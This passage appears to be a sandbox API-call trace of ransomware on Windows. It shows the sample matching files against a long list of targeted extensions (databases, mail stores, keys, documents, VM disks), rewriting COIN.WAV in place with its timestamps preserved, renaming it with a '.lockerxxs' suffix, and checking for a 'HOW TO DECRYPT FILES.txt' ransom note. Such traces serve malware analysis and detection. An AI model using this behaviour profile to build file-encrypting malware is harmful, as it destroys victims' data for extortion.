Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.qbx") returned 0 [0066.078] lstrlenA (lpString="*.qbx") returned 5 [0066.078] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.qba") returned 0 [0066.078] lstrlenA (lpString="*.qba") returned 5 [0066.078] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.qby") returned 0 [0066.078] lstrlenA (lpString="*.qby") returned 5 [0066.078] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.qbj") returned 0 [0066.078] lstrlenA (lpString="*.qbj") returned 5 [0066.078] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.ofx") returned 0 [0066.078] lstrlenA (lpString="*.ofx") returned 5 [0066.078] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.qif") returned 0 [0066.078] lstrlenA (lpString="*.qif") returned 5 [0066.078] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.mye") returned 0 [0066.078] lstrlenA (lpString="*.mye") returned 5 [0066.078] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.mbox") returned 0 [0066.078] lstrlenA (lpString="*.mbox") returned 6 [0066.078] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.eml") returned 0 [0066.078] lstrlenA (lpString="*.eml") returned 5 [0066.078] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.pst") returned 0 [0066.078] lstrlenA (lpString="*.pst") returned 5 [0066.078] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.ost") returned 0 [0066.078] lstrlenA (lpString="*.ost") returned 5 [0066.078] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.idx") returned 0 [0066.079] lstrlenA (lpString="*.idx") returned 5 [0066.079] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.dbx") returned 0 [0066.079] lstrlenA (lpString="*.dbx") returned 5 [0066.079] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.sql") returned 0 [0066.079] lstrlenA (lpString="*.sql") returned 5 [0066.079] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.mdb") returned 0 [0066.079] lstrlenA (lpString="*.mdb") returned 5 [0066.079] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.fdb") returned 0 [0066.079] lstrlenA (lpString="*.fdb") returned 5 [0066.079] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.wab") returned 0 [0066.079] lstrlenA (lpString="*.wab") returned 5 [0066.079] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.dat") returned 0 [0066.079] lstrlenA (lpString="*.dat") returned 5 [0066.079] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.txt") returned 0 [0066.079] lstrlenA (lpString="*.txt") returned 5 [0066.079] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.jpeg") returned 0 [0066.079] lstrlenA (lpString="*.jpeg") returned 6 [0066.079] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.jpg") returned 0 [0066.079] lstrlenA (lpString="*.jpg") returned 5 [0066.079] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.png") returned 0 [0066.079] lstrlenA (lpString="*.png") returned 5 [0066.079] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.php") returned 0 [0066.079] lstrlenA (lpString="*.php") returned 5 [0066.079] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.cs") returned 0 [0066.079] lstrlenA (lpString="*.cs") returned 4 [0066.080] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.cpp") returned 0 [0066.080] lstrlenA (lpString="*.cpp") returned 5 [0066.080] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.rar") returned 0 [0066.080] lstrlenA (lpString="*.rar") returned 5 [0066.080] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.zip") returned 0 [0066.080] lstrlenA (lpString="*.zip") returned 5 [0066.080] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.html") returned 0 [0066.080] lstrlenA (lpString="*.html") returned 6 [0066.080] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.htm") returned 0 [0066.080] lstrlenA (lpString="*.htm") returned 5 [0066.080] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.xlsx") returned 0 [0066.080] lstrlenA (lpString="*.xlsx") returned 6 [0066.080] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.xls") returned 0 [0066.080] lstrlenA (lpString="*.xls") returned 5 [0066.080] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.mp4") returned 0 [0066.080] lstrlenA (lpString="*.mp4") returned 5 [0066.080] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.ppt") returned 0 [0066.080] lstrlenA (lpString="*.ppt") returned 5 [0066.080] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.pptx") returned 0 [0066.080] lstrlenA (lpString="*.pptx") returned 6 [0066.080] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.doc") returned 0 [0066.080] lstrlenA (lpString="*.doc") returned 5 [0066.080] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.dot") returned 0 [0066.080] lstrlenA (lpString="*.dot") returned 5 [0066.080] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.docx") returned 0 [0066.080] lstrlenA (lpString="*.docx") returned 6 [0066.080] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.7z") returned 0 [0066.080] lstrlenA (lpString="*.7z") returned 4 [0066.080] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.tar") returned 0 [0066.080] lstrlenA (lpString="*.tar") returned 5 [0066.080] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.bz2") returned 0 [0066.080] lstrlenA (lpString="*.bz2") returned 5 [0066.080] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.gz") returned 0 [0066.081] lstrlenA (lpString="*.gz") returned 4 [0066.081] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.mkv") returned 0 [0066.081] lstrlenA (lpString="*.mkv") returned 5 [0066.081] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.eml") returned 0 [0066.081] lstrlenA (lpString="*.eml") returned 5 [0066.081] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.msg") returned 0 [0066.081] lstrlenA (lpString="*.msg") returned 5 [0066.081] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.edb") returned 0 [0066.081] lstrlenA (lpString="*.edb") returned 5 [0066.081] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.accdb") returned 0 [0066.081] lstrlenA (lpString="*.accdb") returned 7 [0066.081] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.odb") returned 0 [0066.081] lstrlenA (lpString="*.odb") returned 5 [0066.081] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.java") returned 0 [0066.081] lstrlenA (lpString="*.java") returned 6 [0066.081] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.asm") returned 0 [0066.081] lstrlenA (lpString="*.asm") returned 5 [0066.081] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.pfx") returned 0 [0066.081] lstrlenA (lpString="*.pfx") returned 5 [0066.081] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.pem") returned 0 [0066.081] lstrlenA (lpString="*.pem") returned 5 [0066.081] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.p12") returned 0 [0066.081] lstrlenA (lpString="*.p12") returned 5 [0066.081] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.gpg") returned 0 [0066.081] lstrlenA (lpString="*.gpg") returned 5 [0066.081] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.vsd") returned 0 [0066.081] lstrlenA (lpString="*.vsd") returned 5 [0066.081] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.odg") returned 0 [0066.081] lstrlenA (lpString="*.odg") returned 5 [0066.081] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.raw") returned 0 [0066.081] lstrlenA (lpString="*.raw") returned 5 [0066.081] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.nef") returned 0 [0066.081] lstrlenA (lpString="*.nef") returned 5 [0066.082] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.svg") returned 0 [0066.082] lstrlenA (lpString="*.svg") returned 5 [0066.082] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.psd") returned 0 [0066.082] lstrlenA (lpString="*.psd") returned 5 [0066.082] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.vmx") returned 0 [0066.082] lstrlenA (lpString="*.vmx") returned 5 [0066.082] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.vmdk") returned 0 [0066.082] lstrlenA (lpString="*.vmdk") returned 6 [0066.082] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.vdi") returned 0 [0066.082] lstrlenA (lpString="*.vdi") returned 5 [0066.082] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.lay6") returned 0 [0066.082] lstrlenA (lpString="*.lay6") returned 6 [0066.082] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.mpeg") returned 0 [0066.082] lstrlenA (lpString="*.mpeg") returned 6 [0066.082] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.djvu") returned 0 [0066.082] lstrlenA (lpString="*.djvu") returned 6 [0066.082] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.tiff") returned 0 [0066.082] lstrlenA (lpString="*.tiff") returned 6 [0066.082] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.backup") returned 0 [0066.082] lstrlenA (lpString="*.backup") returned 8 [0066.082] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.pdf") returned 0 [0066.082] lstrlenA (lpString="*.pdf") returned 5 [0066.082] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.cert") returned 0 [0066.082] lstrlenA (lpString="*.cert") returned 6 [0066.082] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.docm") returned 0 [0066.082] lstrlenA (lpString="*.docm") returned 6 [0066.082] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.xlsm") returned 0 [0066.082] lstrlenA (lpString="*.xlsm") returned 6 [0066.082] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.dwg") returned 0 [0066.082] lstrlenA (lpString="*.dwg") returned 5 [0066.082] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.nd") returned 0 [0066.082] lstrlenA (lpString="*.nd") returned 4 [0066.083] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.tlg") returned 0 [0066.083] lstrlenA (lpString="*.tlg") returned 5 [0066.083] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.lgb") returned 0 [0066.083] lstrlenA (lpString="*.lgb") returned 5 [0066.083] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.mov") returned 0 [0066.083] lstrlenA (lpString="*.mov") returned 5 [0066.083] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.xdw") returned 0 [0066.083] lstrlenA (lpString="*.xdw") returned 5 [0066.083] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.ods") returned 0 [0066.083] lstrlenA (lpString="*.ods") returned 5 [0066.083] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", pszSpec="*.wav") returned 1 [0066.083] lstrlenA (lpString="*.wav") returned 5 [0066.083] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV" [0066.083] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV" [0066.083] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV.") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV." [0066.083] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV.lockerxxs" [0066.083] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\coin.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0066.083] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x15bc [0066.084] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xef0cc600, dwHighDateTime=0x1bfc6e7), lpLastAccessTime=0x407536*(dwLowDateTime=0x51c76e10, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0xef0cc600, dwHighDateTime=0x1bfc6e7)) returned 1 [0066.084] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0066.084] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1596, lpOverlapped=0x0) returned 1 [0066.086] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV") returned="COIN.WAV" [0066.086] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0066.086] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1596, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1596, lpOverlapped=0x0) returned 1 [0066.086] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.086] CloseHandle (hObject=0x8c) returned 1 [0066.088] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\coin.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\media\\coin.wav.lockerxxs")) returned 1 [0066.090] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b50b600, ftCreationTime.dwHighDateTime=0x1bc8d47, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b50b600, ftLastWriteTime.dwHighDateTime=0x1bc8d47, nFileSizeHigh=0x0, nFileSizeLow=0x4be2, dwReserved0=0x3000003, dwReserved1=0x4f6000, cFileName="DRUMROLL.WAV", cAlternateFileName="")) returned 1 [0066.090] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.090] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DRUMROLL.WAV") returned 1 [0066.091] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DRUMROLL.WAV") returned 1 [0066.091] lstrcmpiA (lpString1="", lpString2="DRUMROLL.WAV") returned -1 [0066.091] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV") returned="COIN.WAV" [0066.091] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0066.091] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="" [0066.091] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HOW TO DECRYPT FILES.txt" [0066.091] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\media\\how to decrypt files.txt")) returned 0x20 [0066.091] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\", lpString2="DRUMROLL.WAV" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV" [0066.091] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.ems") returned 0 [0066.091] lstrlenA (lpString="*.ems") returned 5 [0066.091] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.db") returned 0 [0066.091] lstrlenA (lpString="*.db") returned 4 [0066.091] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.dbf") returned 0 [0066.091] lstrlenA (lpString="*.dbf") returned 5 [0066.091] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.myox") returned 0 [0066.091] lstrlenA (lpString="*.myox") returned 6 [0066.091] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.myo") returned 0 [0066.091] lstrlenA (lpString="*.myo") returned 5 [0066.091] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.qbw") returned 0 [0066.091] lstrlenA (lpString="*.qbw") returned 5 [0066.091] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.qbb") returned 0 [0066.091] lstrlenA (lpString="*.qbb") returned 5 [0066.091] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.qbm") returned 0 [0066.091] lstrlenA (lpString="*.qbm") returned 5 [0066.091] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.qbo") returned 0 [0066.091] lstrlenA (lpString="*.qbo") returned 5 [0066.092] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.qbx") returned 0 [0066.092] lstrlenA (lpString="*.qbx") returned 5 [0066.092] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.qba") returned 0 [0066.092] lstrlenA (lpString="*.qba") returned 5 [0066.092] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.qby") returned 0 [0066.092] lstrlenA (lpString="*.qby") returned 5 [0066.092] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.qbj") returned 0 [0066.092] lstrlenA (lpString="*.qbj") returned 5 [0066.092] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.ofx") returned 0 [0066.092] lstrlenA (lpString="*.ofx") returned 5 [0066.092] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.qif") returned 0 [0066.092] lstrlenA (lpString="*.qif") returned 5 [0066.092] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.mye") returned 0 [0066.092] lstrlenA (lpString="*.mye") returned 5 [0066.092] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.mbox") returned 0 [0066.092] lstrlenA (lpString="*.mbox") returned 6 [0066.092] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.eml") returned 0 [0066.092] lstrlenA (lpString="*.eml") returned 5 [0066.092] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.pst") returned 0 [0066.092] lstrlenA (lpString="*.pst") returned 5 [0066.092] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.ost") returned 0 [0066.092] lstrlenA (lpString="*.ost") returned 5 [0066.092] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.idx") returned 0 [0066.092] lstrlenA (lpString="*.idx") returned 5 [0066.092] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.dbx") returned 0 [0066.092] lstrlenA (lpString="*.dbx") returned 5 [0066.092] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.sql") returned 0 [0066.092] lstrlenA (lpString="*.sql") returned 5 [0066.093] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.mdb") returned 0 [0066.093] lstrlenA (lpString="*.mdb") returned 5 [0066.093] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.fdb") returned 0 [0066.093] lstrlenA (lpString="*.fdb") returned 5 [0066.093] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.wab") returned 0 [0066.093] lstrlenA (lpString="*.wab") returned 5 [0066.093] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.dat") returned 0 [0066.093] lstrlenA (lpString="*.dat") returned 5 [0066.093] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.txt") returned 0 [0066.093] lstrlenA (lpString="*.txt") returned 5 [0066.093] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.jpeg") returned 0 [0066.093] lstrlenA (lpString="*.jpeg") returned 6 [0066.093] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.jpg") returned 0 [0066.093] lstrlenA (lpString="*.jpg") returned 5 [0066.093] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.png") returned 0 [0066.093] lstrlenA (lpString="*.png") returned 5 [0066.093] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.php") returned 0 [0066.093] lstrlenA (lpString="*.php") returned 5 